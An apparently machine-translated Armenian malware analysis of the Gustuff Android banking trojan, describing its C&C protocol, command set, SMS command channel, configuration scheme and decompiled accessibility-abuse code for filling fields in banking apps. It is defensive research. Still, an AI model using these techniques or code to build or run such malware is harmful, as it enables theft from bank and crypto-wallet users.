Հենց օրերս Group-IB
Group-IB վնասակար կոդերի վերլուծաբան Իվան Պիսարև իր հետազոտության մեջ նա մանրամասն խոսում է այն մասին, թե ինչպես է աշխատում Գաստաֆը և որն է դրա վտանգը։
Ո՞ւմ է որսում Գաստաֆը:
Gustuff-ը պատկանում է չարամիտ ծրագրերի նոր սերնդին, որն ունի լիովին ավտոմատացված գործառույթներ: Ըստ մշակողի, Trojan-ը դարձել է AndyBot չարամիտ ծրագրի նոր բարելավված տարբերակը, որը հարձակվում է Android հեռախոսների վրա 2017 թվականի նոյեմբերից և փող է գողանում ֆիշինգի վեբ ձևերի միջոցով, որոնք դիմակավորված են որպես հայտնի միջազգային բանկերի և վճարային համակարգերի բջջային հավելվածներ: Bestoffer-ը հայտնել է, որ Gustuff Bot-ի գինը ամսական 800 դոլար է:
Gustuff-ի նմուշի վերլուծությունը ցույց է տվել, որ Trojan-ը պոտենցիալ թիրախավորում է հաճախորդներին՝ օգտագործելով խոշորագույն բանկերի բջջային հավելվածները, ինչպիսիք են Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ինչպես նաև Bitcoin Wallet: , BitPay կրիպտո դրամապանակներ։ , Cryptopay, Coinbase և այլն։
Ի սկզբանե ստեղծված որպես դասական բանկային տրոյան, Գաստուֆի ներկայիս տարբերակը զգալիորեն ընդլայնել է հարձակման համար հնարավոր թիրախների ցանկը: Բացի բանկերի, ֆինտեխ ընկերությունների և կրիպտո ծառայությունների Android հավելվածներից, Gustuff-ը թիրախավորում է շուկայական հավելվածների, առցանց խանութների, վճարային համակարգերի և ակնթարթային մեսենջերների օգտատերերը: Մասնավորապես՝ PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut եւ այլն։
Մուտքի կետ. զանգվածային վարակի հաշվարկ
Gustuff-ին բնորոշ է «դասական» վեկտորը, որը ներթափանցում է Android սմարթֆոններ SMS հաղորդագրությունների միջոցով APK-ների հղումներով: Երբ Android սարքը սերվերի հրամանով վարակվում է տրոյանով, Գաստաֆը կարող է հետագայում տարածվել վարակված հեռախոսի կոնտակտային տվյալների բազայի կամ սերվերի տվյալների բազայի միջոցով: Gustuff-ի ֆունկցիոնալությունը նախատեսված է զանգվածային վարակման և դրա օպերատորների բիզնեսի առավելագույն կապիտալիզացիայի համար. այն ունի եզակի «ավտոլրացման» գործառույթ օրինական բջջային բանկային հավելվածներում և կրիպտո դրամապանակներում, ինչը թույլ է տալիս արագացնել և մասշտաբավորել փողի գողությունը: .
Trojan-ի ուսումնասիրությունը ցույց է տվել, որ ավտոմատ լրացման գործառույթը ներդրված է դրանում՝ օգտագործելով Accessibility Service-ը, որը ծառայություն է հաշմանդամություն ունեցող մարդկանց համար: Gustuff-ը առաջին Trojan-ը չէ, որը հաջողությամբ շրջանցել է պաշտպանությունը այլ հավելվածների պատուհանների տարրերի հետ փոխազդեցությունից՝ օգտագործելով այս Android ծառայությունը: Այնուամենայնիվ, Մատչելիության ծառայության օգտագործումը ավտոմատ լրացման հետ միասին դեռևս բավականին հազվադեպ է:
Տուժողի հեռախոսում ներբեռնվելուց հետո Գաստաֆը, օգտվելով Մատչելիության ծառայությունից, հնարավորություն է ստանում շփվել այլ հավելվածների պատուհանի տարրերի հետ (բանկային բանկային գործ, կրիպտոարժույթ, ինչպես նաև առցանց գնումների, հաղորդագրությունների և այլնի հավելվածներ)՝ կատարելով հարձակվողների համար անհրաժեշտ գործողություններ։ . Օրինակ, սերվերի հրամանով տրոյականը կարող է սեղմել կոճակների վրա և փոխել տեքստային դաշտերի արժեքները բանկային հավելվածներում: Մատչելիության ծառայության մեխանիզմի օգտագործումը թույլ է տալիս Trojan-ին շրջանցել բանկերի կողմից օգտագործվող պաշտպանական մեխանիզմները՝ նախորդ սերնդի շարժական տրոյաններին հակազդելու համար, ինչպես նաև Google-ի կողմից Android OS-ի նոր տարբերակներում իրականացվող անվտանգության քաղաքականության փոփոխությունները: Այսպիսով, Գաստաֆը «գիտի, թե ինչպես» անջատել Google Protect-ի պաշտպանությունը՝ ըստ հեղինակի, այս ֆունկցիան աշխատում է դեպքերի 70%-ում։
Gustuff-ը կարող է նաև ցույց տալ կեղծ PUSH ծանուցումներ օրինական բջջային հավելվածների պատկերակներով: Օգտագործողը սեղմում է PUSH ծանուցումը և տեսնում է սերվերից ներբեռնված ֆիշինգի պատուհանը, որտեղ նա մուտքագրում է բանկային քարտի կամ կրիպտո դրամապանակի պահանջվող տվյալները: Մեկ այլ սցենարով Գաստաֆը բացում է հավելվածը, որի անունից ցուցադրվել է PUSH ծանուցումը։ Այս դեպքում չարամիտ ծրագիրը, Մատչելիության ծառայության միջոցով սերվերի հրամանով, կարող է լրացնել բանկային հավելվածի ձևի դաշտերը՝ կեղծ գործարքի համար:
Gustuff-ի ֆունկցիոնալությունը ներառում է նաև վարակված սարքի մասին տեղեկություններ ուղարկել սերվեր, SMS հաղորդագրություններ կարդալու/ուղարկելու, USSD հարցումներ ուղարկելու, SOCKS5 Proxy-ի գործարկում, հղման հետևում, ֆայլեր ուղարկելու հնարավորություն (ներառյալ փաստաթղթերի լուսանկարների սկանավորում, սքրինշոթներ, լուսանկարներ) դեպի սերվեր, վերակայեք սարքը գործարանային կարգավորումներին:
Չարամիտ ծրագրերի վերլուծություն
Նախքան վնասակար հավելված տեղադրելը, Android OS-ը օգտվողին ցույց է տալիս պատուհան, որը պարունակում է Gustuff-ի պահանջած իրավունքների ցանկը.
Հավելվածի տեղադրումը տեղի կունենա միայն օգտատիրոջ համաձայնությունը ստանալուց հետո։ Հավելվածը գործարկելուց հետո Trojan-ը օգտվողին ցույց կտա պատուհան.
Այնուհետև այն կհեռացնի իր պատկերակը:
Gustuff-ը փաթեթավորված է, ըստ հեղինակի, FTT փաթեթավորողի կողմից: Գործարկվելուց հետո հավելվածը պարբերաբար մուտք է գործում CnC սերվեր՝ հրամաններ ստանալու համար: Մեր ուսումնասիրած մի քանի ֆայլերում IP հասցեն օգտագործվել է որպես կառավարման սերվեր 88.99.171 [.]105 (այսուհետ՝ <%C&C%>).
Սկսելուց հետո ծրագիրը սկսում է հաղորդագրություններ ուղարկել սերվերին http://<%CnC%>/api/v1/get.php.
Որպես պատասխան ակնկալվում է հետևյալ JSON ձևաչափը.
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
Յուրաքանչյուր հարցումով հավելվածը տեղեկատվություն է ուղարկում վարակված սարքի մասին։ Հաղորդագրության ձևաչափը ներկայացված է ստորև: Հարկ է նշել, որ դաշտերը Լրիվ, հավելյալ, Apps и թույլտվություն – կամընտիր և կուղարկվի միայն CnC-ից պահանջելու հրամանի դեպքում:
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Կազմաձևման տվյալների պահպանում
Gustuff-ը կարևոր տեղեկություններ է պահում նախապատվության ֆայլում: Ֆայլի անունը, ինչպես նաև դրանում առկա պարամետրերի անունները, տողից MD5 գումարը հաշվարկելու արդյունք են։ 15413090667214.6.1<%name%>Որտեղ <%name%> սկզբնական անուն-արժեքն է։ Անվան ստեղծման ֆունկցիայի Python մեկնաբանությունը.
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
Հետևյալում մենք կնշենք որպես nameGenerator (մուտքագրում).
Այսպիսով, առաջին ֆայլի անունը հետևյալն է. nameGenerator («API_SERVER_LIST»), այն պարունակում է արժեքներ հետևյալ անուններով.
Փոփոխական անուն | Արժեք |
---|---|
nameGenerator («API_SERVER_LIST») | Պարունակում է CnC հասցեների ցանկ՝ որպես զանգված: |
nameGenerator («API_SERVER_URL») | Պարունակում է CnC հասցե: |
nameGenerator («SMS_UPLOAD») | Դրոշը դրված է լռելյայն: Եթե դրոշը դրված է, այն SMS հաղորդագրություններ է ուղարկում CnC: |
nameGenerator («SMS_ROOT_NUMBER») | Հեռախոսահամարը, որին կուղարկվեն վարակված սարքի կողմից ստացված SMS հաղորդագրությունները: Կանխադրվածը զրոյական է: |
nameGenerator («SMS_ROOT_NUMBER_RESEND») | Դրոշը լռելյայն մաքրված է: Եթե կարգավորված է, երբ վարակված սարքը SMS հաղորդագրություն է ստանում, այն կուղարկվի արմատային համարին: |
nameGenerator («DEFAULT_APP_SMS») | Դրոշը լռելյայն մաքրված է: Եթե այս դրոշը դրված է, հավելվածը կմշակի մուտքային SMS հաղորդագրությունները: |
nameGenerator («DEFAULT_ADMIN») | Դրոշը լռելյայն մաքրված է: Եթե դրոշը դրված է, հավելվածն ունի ադմինիստրատորի իրավունքներ: |
nameGenerator («DEFAULT_ACCESSIBILITY») | Դրոշը լռելյայն մաքրված է: Եթե դրոշը սահմանված է, ծառայությունը, որն օգտագործում է Մատչելիության ծառայությունը, գործարկվում է: |
nameGenerator («APPS_CONFIG») | JSON օբյեկտը պարունակում է գործողությունների ցանկ, որոնք պետք է կատարվեն, երբ գործարկվում է Մատչելիության իրադարձություն՝ կապված կոնկրետ հավելվածի հետ: |
nameGenerator («APPS_INSTALLED») | Պահպանում է սարքում տեղադրված հավելվածների ցանկը: |
nameGenerator («IS_FIST_RUN») | Դրոշը մաքրվում է առաջին իսկ մեկնարկին: |
nameGenerator («UNIQUE_ID») | Պարունակում է եզակի նույնացուցիչ: Ստեղծվում է, երբ բոտն առաջին անգամ գործարկվում է: |
Սերվերի հրամանների մշակման մոդուլ
Հավելվածը պահում է CnC սերվերների հասցեները որպես կոդավորված զանգված Base85- ը տողեր։ CnC սերվերների ցանկը կարող է փոխվել համապատասխան հրամանը ստանալուց հետո, որի դեպքում հասցեները կպահվեն նախապատվության ֆայլում։
Հարցմանը ի պատասխան՝ սերվերը հրաման է ուղարկում հավելվածին։ Հարկ է նշել, որ հրամանները և պարամետրերը ներկայացված են JSON ձևաչափով։ Հավելվածը կարող է մշակել հետևյալ հրամանները.
Թիմ | Նկարագրություն |
---|---|
առաջ Սկսել | Սկսեք ուղարկել վարակված սարքի ստացած SMS հաղորդագրությունները CnC սերվերին: |
առաջ կանգառ | Դադարեցրեք վարակված սարքի կողմից ստացված SMS հաղորդագրությունները CnC սերվերին ուղարկելը: |
ussdRun | Կատարեք USSD հարցում: Համարը, որին դուք պետք է USSD հարցում կատարեք, գտնվում է «համար» JSON դաշտում: |
ուղարկել SMS | Ուղարկեք մեկ SMS հաղորդագրություն (անհրաժեշտության դեպքում հաղորդագրությունը «բաժանվում» է մասերի): Որպես պարամետր, հրամանը վերցնում է JSON օբյեկտ, որը պարունակում է «to» դաշտերը՝ նպատակակետ համարը և «body»՝ հաղորդագրության հիմնական մասը: |
sendSmsAb | Ուղարկեք SMS հաղորդագրություններ (անհրաժեշտության դեպքում հաղորդագրությունը «բաժանվում» է մասերի) վարակված սարքի կոնտակտների ցանկից բոլորին։ Հաղորդագրություններ ուղարկելու միջև ընդմիջումը 10 վայրկյան է: Հաղորդագրության հիմնական մասը JSON դաշտում է «body» |
ուղարկել SmsMass | Ուղարկեք SMS հաղորդագրություններ (անհրաժեշտության դեպքում հաղորդագրությունը «բաժանվում» է մասերի) հրամանի պարամետրերում նշված կոնտակտներին: Հաղորդագրություններ ուղարկելու միջև ընդմիջումը 10 վայրկյան է: Որպես պարամետր հրամանը վերցնում է JSON զանգված (դաշտ «sms»), որի տարրերը պարունակում են «to» դաշտերը՝ նպատակակետ համարը և «body»՝ հաղորդագրության հիմնական մասը։ |
changeServer | Այս հրամանը կարող է արժեք ընդունել «url» ստեղնով որպես պարամետր, այնուհետև բոտը կփոխի nameGenerator («SERVER_URL») կամ «array» արժեքը, այնուհետև բոտը կգրի զանգվածը nameGenerator-ում («API_SERVER_LIST») Այսպիսով, հավելվածը փոխում է CnC սերվերների հասցեն։ |
ադմինիստրատորի համարը | Հրամանը նախատեսված է արմատային թվի հետ աշխատելու համար: Հրամանն ընդունում է JSON օբյեկտ հետևյալ պարամետրերով. «համար» - փոխել nameGenerator(«ROOT_NUMBER») ստացված արժեքին, «վեր ուղարկել» - փոխել nameGenerator («SMS_ROOT_NUMBER_RESEND»), «sendId» - ուղարկել եզակի ID nameGenerator-ին («ROOT_NUMBER»: »): |
updateInfo | Վարակված սարքի մասին տեղեկություն ուղարկեք սերվերին: |
սրբել տվյալները | Հրամանը նախատեսված է օգտվողի տվյալները ջնջելու համար։ Կախված նրանից, թե որ անունից է գործարկվել հավելվածը, տեղի է ունենում կա՛մ տվյալների ամբողջական ջնջում՝ սարքի (առաջնային օգտագործողի) վերագործարկմամբ, կա՛մ միայն օգտատիրոջ տվյալների (երկրորդային օգտվողի) ջնջում: |
գուլպաներՍկսել | Գործարկեք վստահված անձի մոդուլը: Մոդուլի աշխատանքը նկարագրված է առանձին բաժնում: |
գուլպաներԿանգնեք | Դադարեցրեք վստահված անձի մոդուլը: |
openLink | Հետևեք հղմանը։ Հղումը JSON պարամետրում է «url» ստեղնով: «android.intent.action.VIEW»-ն օգտագործվում է հղումը բացելու համար: |
uploadAllSms | Սարքի ստացած բոլոր SMS հաղորդագրությունները ուղարկեք սերվերին: |
վերբեռնել Բոլոր լուսանկարները | Ուղարկեք պատկերներ վարակված սարքից URL հասցեին: URL-ը գալիս է որպես պարամետր: |
Ներբեռնել ֆայլ | Ուղարկեք ֆայլ վարակված սարքից URL հասցեին: URL-ը գալիս է որպես պարամետր: |
վերբեռնել Հեռախոսահամարներ | Հեռախոսահամարները կոնտակտների ցանկից ուղարկեք սերվերին: Եթե «ab» ստեղնով JSON օբյեկտը գալիս է որպես պարամետր, ապա հավելվածը հեռախոսագիրքից ստանում է կոնտակտների ցանկ: Եթե որպես պարամետր ստացվում է JSON օբյեկտ՝ «sms» բանալիով, ապա հավելվածը կարդում է SMS հաղորդագրություն ուղարկողների կոնտակտների ցանկը: |
changeArchive | Հավելվածը ներբեռնում է ֆայլ այն հասցեից, որը գալիս է որպես պարամետր՝ օգտագործելով «url» ստեղնը: Ներբեռնված ֆայլը պահվում է «archive.zip» անունով: Դրանից հետո հավելվածը կհանի ֆայլը՝ անհրաժեշտության դեպքում օգտագործելով «b5jXh37gxgHBrZhQ4j3D» արխիվի գաղտնաբառը։ Ապազիպված ֆայլերը պահվում են [արտաքին պահեստավորում]/hgps գրացուցակում: Այս գրացուցակում հավելվածը պահպանում է վեբ կեղծիքները (նկարագրված է ստորև): |
գործողությունները | Հրամանը նախատեսված է Action Service-ի հետ աշխատելու համար, որը նկարագրված է առանձին բաժնում: |
փորձարկում | Ոչինչ չանելով։ |
բեռնել | Հրամանը նախատեսված է հեռավոր սերվերից ֆայլ ներբեռնելու և այն Ներբեռնումների գրացուցակում պահելու համար: URL-ը և ֆայլի անունը գալիս են որպես պարամետր, JSON օբյեկտի դաշտերը համապատասխանաբար պարամետրն են՝ «url» և «fileName»: |
հեռացնել | Հեռացնում է ֆայլը Ներբեռնումների գրացուցակից: Ֆայլի անունը գալիս է JSON պարամետրով «fileName» ստեղնով: Ֆայլի լռելյայն անունն է «tmp.apk»: |
ծանուցում | Ցույց տալ ծանուցումը կառավարման սերվերի կողմից սահմանված նկարագրության և վերնագրի տեքստերով: |
Հրամանի ձևաչափ ծանուցում:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
Հետազոտվող ֆայլի կողմից ստեղծված ծանուցումը նույնական է դաշտում նշված հավելվածի կողմից ստեղծված ծանուցումներին։ ծրագիրը. Եթե դաշտի արժեքը openApp — Ճիշտ է, երբ ծանուցումը բացվում է, դաշտում նշված հավելվածը գործարկվում է ծրագիրը. Եթե դաշտի արժեքը openApp - Սուտ, ուրեմն.
- բացվում է ֆիշինգի պատուհան, որի բովանդակությունը բեռնվում է գրացուցակից <%արտաքին պահոց%>/hgps/<%filename%>
- բացվում է ֆիշինգի պատուհան, որի բովանդակությունը ներբեռնվում է սերվերից <%url%>?id=<%Bot id%>&app=<%Application name%>
- բացվում է ֆիշինգի պատուհան, որը քողարկված է որպես Google Play Քարտ՝ քարտի տվյալները մուտքագրելու ընտրանքով:
Հավելվածը ուղարկում է ցանկացած հրամանի կատարման արդյունքը <%CnC%>set_state.php որպես JSON օբյեկտ հետևյալ ձևաչափով.
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
Actions Service
Հրամանների ցանկը, որը ներառում է դիմումի գործընթացները գործողություն. Երբ հրաման է ստացվում, հրամանների մշակման մոդուլը կանչում է այս ծառայությունը՝ ընդլայնված հրամանը կատարելու համար: Ծառայությունը որպես պարամետր ընդունում է JSON օբյեկտ: Ծառայությունը կարող է կատարել հետևյալ հրամանները.
1. PARAMS_ACTION - նման հրաման ստանալիս ծառայությունը նախ և առաջ ստանում է արժեք JSON պարամետրից Type ստեղնով, այն կարող է լինել հետևյալը.
- serviceInfo – ենթահրամանը արժեքը ստանում է JSON պարամետրից ըստ բանալի ներառում է Ոչ Կարևոր. Եթե դրոշը True է, ապա հավելվածը սահմանում է դրոշը FLAG_ISOLATED_PROCESS ծառայությանը, որն օգտագործում է Մատչելիության ծառայությունը: Այսպիսով, ծառայությունը կգործարկվի առանձին գործընթացով։
- արմատ - ստանալ և ուղարկել սերվերին տվյալ պահին ուշադրության կենտրոնում գտնվող պատուհանի մասին տեղեկատվություն: Հավելվածը տեղեկատվություն է ստանում AccessibilityNodeInfo դասի միջոցով:
- admin մասին - խնդրեք ադմինիստրատորի իրավունքները:
- ձգձգել - կասեցնել ActionsService-ը «տվյալների» ստեղնով պարամետրում նշված միլիվայրկյանների քանակով:
- ապակիները — ուղարկել օգտատիրոջը տեսանելի պատուհանների ցանկը:
- տեղադրել — տեղադրել հավելվածը վարակված սարքի վրա: Փաթեթի անվանումը` արխիվը գտնվում է «fileName» ստեղնում: Արխիվն ինքնին գտնվում է Ներբեռնումների գրացուցակում:
- համաշխարհային – ենթահրամանը նախատեսված է ընթացիկ պատուհանից անցնելու համար.
- Արագ կարգավորումների ընտրացանկում
- ետ
- տուն
- ծանուցումներին
- դեպի վերջերս բացված հավելվածների պատուհանը
- սկսել - գործարկել հավելվածը: Հավելվածի անունը գալիս է որպես հիմնական պարամետր տվյալներ.
- հնչյուններ — փոխել ձայնի ռեժիմը լռության:
- բաց անել - միացնում է էկրանի և ստեղնաշարի հետևի լույսը մինչև ամբողջ պայծառությունը: Հավելվածը կատարում է այս գործողությունը՝ օգտագործելով WakeLock, որպես պիտակ նշում է [Application lable]:INFO տողը:
- թույլտվություն Overlay — գործառույթը չի իրականացվել (պատասխան հրամանի կատարմանը — {"message":"Not support"} կամ {"message":"low sdk"})
- ժեստ — ֆունկցիան չի իրականացվել (պատասխան հրամանի կատարմանը — {"message":"Not support"}կամ {"message":"Low API"})
- թույլտվությունները - Այս հրամանը պահանջվում է հավելվածի համար թույլտվություններ խնդրելու համար: Այնուամենայնիվ, հարցումների գործառույթը չի իրականացվում, ուստի հրամանն անիմաստ է: Պահանջվող թույլտվությունների ցանկը գալիս է որպես JSON զանգված՝ «թույլտվություններ» ստեղնով: Ստանդարտ ցուցակ.
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- բացել — ցուցադրել ֆիշինգի պատուհանը: Կախված սերվերից եկող պարամետրից՝ հավելվածը կարող է ցուցադրել հետևյալ ֆիշինգի պատուհանները.
- Ցույց տալ ֆիշինգի պատուհանը, որի բովանդակությունը գրված է գրացուցակի ֆայլում <%արտաքին գրացուցակ%>/hgps/<%param_filename%>. Պատուհանի հետ օգտագործողի փոխազդեցության արդյունքը կուղարկվի հասցեին <%CnC%>/records.php
- Ցույց տալ ֆիշինգի պատուհանը, որի բովանդակությունը նախապես բեռնված է հասցեից <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Պատուհանի հետ օգտագործողի փոխազդեցության արդյունքը կուղարկվի հասցեին <%CnC%>/records.php
- Ցուցադրել ֆիշինգի պատուհան՝ քողարկված որպես Google Play քարտ:
- ինտերակտիվ — հրամանը նախատեսված է այլ հավելվածների պատուհանի տարրերի հետ փոխազդելու համար՝ օգտագործելով AcessibilityService-ը: Ծրագրում հատուկ ծառայություն է իրականացվում փոխգործակցության համար։ Հետազոտվող հավելվածը կարող է փոխազդել Windows-ի հետ՝
- Ակտիվ այս պահին. Այս դեպքում պարամետրը պարունակում է այն օբյեկտի ID-ն կամ տեքստը (անունը), որի հետ ցանկանում եք փոխազդել:
- Տեսանելի է օգտագործողի համար հրամանի կատարման պահին: Հավելվածն ընտրում է պատուհանները ըստ ID-ի:
Ստանալով առարկաները AccessibilityNodeInfo պատուհանի համար հետաքրքրություն ներկայացնող տարրերի համար հավելվածը, կախված պարամետրերից, կարող է կատարել հետևյալ գործողությունները.
- կենտրոնացում - կենտրոնացնել օբյեկտի վրա:
- սեղմեք - սեղմեք օբյեկտի վրա:
- actionId - կատարել գործողություն ID-ով:
- setText - փոխել օբյեկտի տեքստը: Տեքստի փոփոխությունը հնարավոր է երկու եղանակով՝ կատարել գործողություն ACTION_SET_TEXT (եթե վարակված սարքի Android տարբերակը փոքր է կամ հավասար է ԼՈԼԼԻՊՈՊ), կամ սեղմատախտակի վրա տող տեղադրելով և այն օբյեկտի մեջ կպցնելով (ավելի հին տարբերակների համար): Այս հրամանը կարող է օգտագործվել բանկային հավելվածում տվյալները փոխելու համար:
2. PARAMS_ACTIONS - նույնը, ինչ PARAMS_ACTION, գալիս է միայն JSON հրամանների զանգված:
Թվում է, թե շատերին կհետաքրքրի, թե ինչ տեսք ունի մեկ այլ հավելվածի պատուհանի տարրերի հետ փոխազդելու գործառույթը։ Այս գործառույթն իրականացվում է Gustuff-ում.
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Տեքստի փոխարինման գործառույթ.
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Այսպիսով, կառավարման սերվերի ճիշտ կազմաձևման դեպքում Գաստաֆը կարողանում է բանկային հավելվածում լրացնել տեքստային դաշտերը և սեղմել գործարքն ավարտելու համար անհրաժեշտ կոճակները։ Trojan-ը նույնիսկ կարիք չունի թույլտվություն անցնել հավելվածում. բավական է հրաման ուղարկել PUSH ծանուցումը ցուցադրելու համար, որից հետո բացել նախկինում տեղադրված բանկային հավելվածը: Օգտատերն ինքը կլիազորվի, որից հետո Գաստաֆը կկարողանա ինքնալրացնել։
SMS մշակման մոդուլ
Հավելվածը սահմանում է իրադարձությունների մշակիչ՝ վարակված սարքի կողմից SMS հաղորդագրություններ ստանալու համար: Ուսումնասիրվող հավելվածը կարող է ստանալ հրամաններ օպերատորից, որոնք հայտնվում են SMS հաղորդագրության մեջ: Հրամանները գալիս են հետևյալ ձևաչափով.
7!5=<%Base64 կոդավորված հրաման%>
Հավելվածը որոնում է բոլոր մուտքային SMS հաղորդագրությունները տողի համար 7՛5=, երբ տողը հայտնաբերվում է, այն վերծանում է տողը Base64-ից օֆսեթ 4-ում և կատարում հրամանը։ Հրամանները նման են CnC-ով հրամաններին: Կատարման արդյունքը ուղարկվում է նույն համարին, որից ստացվել է հրամանը: Պատասխանի ձևաչափ.
7*5=<«result_code հրամանի»%Base64 կոդավորումը%>
Ցանկության դեպքում հավելվածը կարող է ուղարկել բոլոր ստացված հաղորդագրությունները Root համարին: Դա անելու համար նախապատվության ֆայլում պետք է նշվի Root համարը և հաղորդագրության վերահղման դրոշակը: Հարձակվողի համարին SMS հաղորդագրություն է ուղարկվում հետևյալ ձևաչափով.
<%Թվերից%> - <%Ժամանակ, ձևաչափ՝ dd/MM/yyyy HH:mm:ss%> <%SMS body%>
Բացի այդ, ըստ ցանկության, հավելվածը կարող է հաղորդագրություններ ուղարկել CnC: SMS հաղորդագրությունը սերվերին ուղարկվում է JSON ձևաչափով.
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Եթե դրոշը դրված է nameGenerator («DEFAULT_APP_SMS») – հավելվածը դադարեցնում է SMS հաղորդագրության մշակումը և մաքրում մուտքային հաղորդագրությունների ցանկը:
Վստահված անձի մոդուլ
Ուսումնասիրվող հավելվածում կա Backconnect Proxy մոդուլ (այսուհետ՝ Proxy մոդուլ), որն ունի առանձին դաս, որը ներառում է ստատիկ դաշտեր՝ կոնֆիգուրացիայով։ Կազմաձևման տվյալները նմուշում պահվում են պարզ տեքստով.
Proxy մոդուլի կատարած բոլոր գործողությունները գրանցվում են ֆայլերում: Դա անելու համար հավելվածը արտաքին պահոցում ստեղծում է «logs» անունով գրացուցակ (ProxyConfigClass.logsDir դաշտը կազմաձևման դասում), որտեղ պահվում են տեղեկամատյանների ֆայլերը։ Գրանցումը տեղի է ունենում անուններով ֆայլերում.
- main.txt – այս ֆայլը օգտագործվում է CommandServer անունով դասի աշխատանքը գրանցելու համար: Հետևյալում, տողի str-ի գրանցումն այս ֆայլում կնշանակվի mainLog(str):
- նիստ-<%id%>.txt — տեղեկամատյանների տվյալները՝ կապված որոշակի վստահված անձի աշխատաշրջանի հետ, պահվում են այս ֆայլում: Հետևյալում, տողի str-ի գրանցումն այս ֆայլում կնշանակվի որպես sessionLog (str):
- server.txt – այս ֆայլն այն է, որտեղ գրանցվում են վերը նշված ֆայլերում գրված բոլոր տվյալները:
Մատյան տվյալների ձևաչափը.
<%Date%> [Tread[<%thread id%>], id[]]: log-string
Բացառությունները, որոնք տեղի են ունենում Proxy մոդուլի շահագործման ընթացքում, նույնպես գրանցվում են ֆայլում: Դա անելու համար հավելվածը ստեղծում է JSON ձևաչափի օբյեկտ.
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
Այնուհետև այն փոխակերպում է լարային ներկայացման և տեղեկամատյանների:
Proxy մոդուլը գործարկվում է համապատասխան հրամանի գալուց հետո: Երբ հրաման է ստացվում գործարկելու վստահված անձի մոդուլը, հավելվածը սկսում է ծառայությունը անունով MainService, որը պատասխանատու է Proxy մոդուլի աշխատանքը կառավարելու համար՝ այն սկսելու և դադարեցնելու համար։
